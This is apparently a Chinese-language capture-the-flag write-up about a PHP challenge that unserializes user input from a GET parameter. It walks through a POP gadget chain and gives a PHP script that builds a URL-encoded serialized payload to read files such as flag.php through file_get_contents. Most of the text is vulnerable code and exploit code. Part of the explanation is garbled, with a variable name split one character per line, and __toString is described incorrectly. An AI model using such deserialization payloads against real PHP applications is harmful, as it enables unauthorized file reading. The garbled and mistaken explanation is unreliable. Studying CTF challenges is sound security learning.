<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
初步看了一下这道题是一个pop链。
我们先来分析一下代码。
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
这里我们就找到了这个链的终点,即我们可以通过这个file_get_contents函数来获得flag。
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
在acp这个类里面,我们看到了_toString魔法方法,这个方法是当我们把一个对象当作函数调用时会被自动调用。并且_toString方法里还调用了echo_name()这个函数,这个函数恰巧就是我们先前找到的最终获得flag的地方。所以破题思路就是通过_construct这个构造函数去触发_toString方法,成功调用echo_name()函数。
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
而在ace类中,我们发现要让
t
h
i
s
−
>
o
p
e
n
s
t
a
c
k
−
>
n
e
u
t
r
o
n
和
this->openstack->neutron 和
this−>openstack−>neutron和this->openstack->nova相等才可以。首先变量heat也是没有被赋值的,如果这时我们让变量nova的值也为空的话不久可以了嘛。
根据以上分析,我们可以构造出:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova=NULL;
function __construct()
{
$this->cinder = new ace();
}
}
class ace{
public $filename='flag.php';
public $openstack;
public $docker;
}
$a=new acp();
echo urlencode(serialize($a));
?>
然后我们在源代码里发现:
知道了flag的位置了只需要把变量filename的值变一下就成功获得flag了。